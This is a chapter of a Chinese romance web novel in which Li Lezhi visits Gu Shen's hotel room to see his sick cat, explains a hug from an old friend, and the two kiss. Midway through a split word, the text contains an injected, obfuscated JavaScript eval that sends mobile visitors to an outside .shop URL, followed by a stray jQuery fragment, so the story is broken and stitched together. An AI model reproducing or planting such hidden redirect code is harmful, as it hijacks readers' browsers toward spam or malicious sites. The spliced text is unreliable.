【我现在去。】
消息发送出去,李乐知才后知后觉自己回复得太快。
屏幕一直亮着。她看着那句话,心跳也跟着快了一点。
比起早上反复删掉的两句话,这一句看起来轻得多,却真正把她带到了顾深面前。
过了一会儿,顾深回复:
【嗯。】
【我在房间。】
李乐知看着这几个字,指尖停了停。
她知道顾深的房间号。
上一次去也是看荔枝,然后顾深对她说,他想追她。
现在,又是她自己说要过去。
李乐知按灭手机。她没有再给自己反悔的时间,拿起外套,直接出了门。
酒店走廊很安静,地毯将脚步声吸得很轻。
李乐知沿着门牌一路走过去,到了门前,停了两秒,才抬手按响门铃。
门很快开了。
顾深像是刚洗完澡,穿着一套深灰色的居家服,领口露出一点锁骨。头发吹得蓬松,柔软地落在额前,整个人也比平时看上去温柔一些。
李乐知站在门外,一时没有挪开眼。
顾深侧身让开门口。
“先进来。”
李乐知回过神,走进房间。
套房客厅很整齐。荔枝窝在沙发角落,身上搭着一条浅色小毯子。听见声音,它懒懒抬起头。
看见李乐知,尾巴在软垫上轻轻摆了两下。
李乐知走过去,蹲到沙发边跟它打招呼,“小荔枝。”
荔枝伸出前爪,碰了碰她的手指。
她挠了挠它的下巴,转头问顾深:“去复查,医生怎么说呀?”
荔枝低低叫了一声,像委屈,也像撒娇。
顾深站在茶几旁,“没什么大问题,肠胃炎,继续吃几天药。”
“还吐吗?”
“打了止吐针,好一些了。”
茶几上还放着宠物医生开的药和检查单。顾深显然已经试过喂药,纸巾上还留着一点被荔枝吐出来的药末。
李乐知看着荔枝半睁着的蓝眼睛,轻轻揉了揉它的脑袋。
“小可怜,要乖乖吃药呀。”
荔枝往她手边挪了挪,前爪搭住她的袖口,像是听懂了。
李乐知起身在沙发边坐下,把滑开的毯角重新给它盖好。荔枝也跟着换了个位置,将脑袋挨到她腿边。
顾深倒了一杯温水,放到茶几靠近她的位置。
“喝点水。”
“谢谢。”
李乐知应了一声,荔枝把脑袋搭进她掌心。
顾深在她对面单人沙发坐下。
那杯水就放在两人之间。
李乐知仍在替荔枝顺着背上的长毛。
白天在心里排过许多遍的话,真到了眼前,还是找不到合适的开头。
过了很久,她做足了心理准备,才低声开了口。
“昨晚是时洲哥送我回来的。”
顾深看着她:“我知道。”
李乐知手上的动作慢了下来。
“活动结束后,我请他吃了个饭,时间有点晚,然后他送我回来的。”
“嗯。”顾深应了一声,没有往下接话。
荔枝伏在她腿边,呼吸细细的。
李乐知等了一会儿,终于抬起眼。
顾深的视线一直落在她身上,神情却仍然平静,和白天没有什么分别。
她心里忽然又空了一点。
“你昨晚……”
她想问,他是不是看见了。可话到嘴边,又停住。
顾深替她接了下去。
“我看见了。”
李乐知的呼吸微微一顿。
顾深说:“他抱了你。”
声音里依旧听不出什么情绪。
李乐知的手指停在荔枝背上。
“只是一下。”
这句话说得太快。说完,她自己也怔了一下,重新低下头。
“他帮我找到了我妈妈以前的一些资料。我们刚聊完那些,他就……”
李乐知停了停,“很快就松开了。”
顾深看了她片刻。
“你叫他时洲哥?”
“嗯。”
“认识很久?”
“嗯。”
“多久?”
李乐知停了一下,“五年。”
荔枝动了动,慢慢将下巴从她掌心里移开。
李乐知又补了一句:“我回英国以后认识的。”
顾深很久没有说话。
李乐知被他看得有些慌,低头摸了摸荔枝的耳朵。
“他帮过我一些展览的事。那几年我刚回去,很多事情都不太适应。”
说到这里,她又停住。
再往下,就会牵出更多她现在还说不出口的事。
顾深却已经听懂了,低声说:“所以那几年,他都在。”
李乐知脱口而出:“我不是那个意思。”
顾深没有问她是什么意思。
李乐知也不知道该怎么继续解释。
她明明是来解释的。真到了这里,却发现所有话都没有一个合适的位置。
她忽然有些待不下去,避开顾深的视线。
“我先回去了。”
李乐知站起身时,荔枝也被她的动作惊醒,慢吞吞跳下沙发,钻进了旁边的猫窝。
她拿过外套,转身往门口走。
步伐很快,像只要再慢一点,房间里那些没能说出口的话便会从身后追上来。
李乐知走到门边,手刚碰到门把手,身后的脚步声已经靠近。
顾深扣住她的肩,往回一带,一把将她揽进怀中。
李乐知猝不及防地撞进他怀里,外套从臂弯滑下去,落在地毯上。
“顾深……”
她还没反应过来,心跳不自觉地加快,只下意识叫得出他的名字。
“别走。”顾深低声说。
李乐知被他整个拢进怀里,他的手臂环在腰后,怀抱暖的真实。
她还在发懵,脸贴在他肩侧,一时连手都忘了该往哪里放。鼻息间都是他身上清淡而熟悉的气息,刚才那些无处安放的话,也一并停在了这个拥抱里。
顾深低下头,额前的碎发擦过她的脸颊,声音贴着她耳边落下来。
“我介意。”
“那五年,我不在。”
李乐知被他包裹住,手指轻轻蜷了一下。
顾深说:“昨晚介意,今天也介意。”
李乐知按捺住乱掉的心跳,从他怀里抬起头,终于问出憋了一整天的话。
“那你为什么不说?”
“你说想缓一缓。”
顾深对上她的目光,“所以我在等你愿意跟我说。”
李乐知抿了抿唇,“我以为你不在意。”
话出口,她的声音也低了下来:“可我还是想来找你说。”
顾深问:“为什么?”
李乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794780|208196||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知看了他一会儿,又把头埋回他肩上。她搂住他的腰,慢慢抱紧他。
过了几秒,才闷声说:
“怕你误会。”
话音落下,环在她腰后的手臂也随之收紧。
“乐知。”
李乐知从他肩侧抬起脸。
两个人离得很近,近得她能数得清顾深的睫毛,以及他眼底越来越藏不住的情绪。
顾深看着她,声音低沉下来。
“以后,我不想再缺席了。”
李乐知望着他的眼睛,忽然不知道该怎么回答。
五年前,她没有等到这句话。
现在,她终于听见了。
心跳忽然快得不像话。她踮起脚,鬼使神差地在他唇上亲了一下。
很轻,碰过便想退开。
顾深看了她一瞬。
下一秒,他扣住她的腰,低头吻了下来。
温热的唇在她唇上停了片刻,像是在确认刚才听见的话,才缓慢地辗转过去,将她还未平复的心跳重新拨乱。
李乐知的手慢慢向上攀,环住了他的脖子。
顾深的动作停了一瞬,环在她腰后的手臂收得更紧,将她更近地带进怀里。
唇间的温度一点点升高,李乐知仰起脸,呼吸也越来越凌乱。
她渐渐有些站不稳。手臂虚虚地抱住他,身体也一点点软下来。
随后,顾深便托住她的腰,忽然将她抱离了地面。
短暂的失重让李乐知轻轻吸了口气。她下意识贴进他怀里。
“顾深……”
名字还没说完,余下的声音便散在了两个人交错的呼吸里。
顾深抱着她往客厅走。
房间里的灯很昏暗,深灰色的影子从他肩后落下来。李乐知只能感觉到他稳稳托着自己,几乎没有一丝晃动。
直到顾深在沙发前停下。
他抱着她坐下,柔软的坐垫随之深深陷落。裙摆被带到他膝上,压出一片凌乱的褶皱。
李乐知仍在他怀里,手臂搭在他颈后。他还在继续吻着她,长发顺着她的肩头滑下来,落在彼此之间。
房间里安静得只剩呼吸。荔枝在猫窝里抬了下头,很快又趴了回去。
顾深低着头,额前的碎发擦过她的脸侧。
李乐知已经彻底软下来。腰被他稳稳托着,整个人都陷在他的怀抱之间。她闭上眼,指尖无意识地埋进他颈后的黑发里。
顾深的呼吸随之乱了一拍。揽在她腰间的手臂也愈发把她往自己怀里带。
窗外有车灯一晃而过,浅淡的光沿着窗帘边缘掠进来,又很快消失。
李乐知仰着脸,只觉得那一点光也跟着晃了起来。
顾深的呼吸越来越沉。落在她腰间的掌心也比刚才更烫,隔着薄薄的衣服,热度一点点渗进来。
直到他的吻忽然停下。
他仍然抱着她,胸口起伏得厉害,落在她腰间的手也没有松开。
李乐知还坐在他腿上。
短暂的安静里,她很快察觉到了什么,身体一下僵住。
她偏过头,将凌乱的呼吸埋进他的颈侧。
顾深闭了闭眼。
过了片刻,他托住李乐知的腰,将她从自己腿上抱下来,稳稳放到身旁。
“乐知。”
李乐知低着头,耳后已经红透。
“嗯。”
顾深的声音哑得几乎听不出原来的音色。
“先回去。”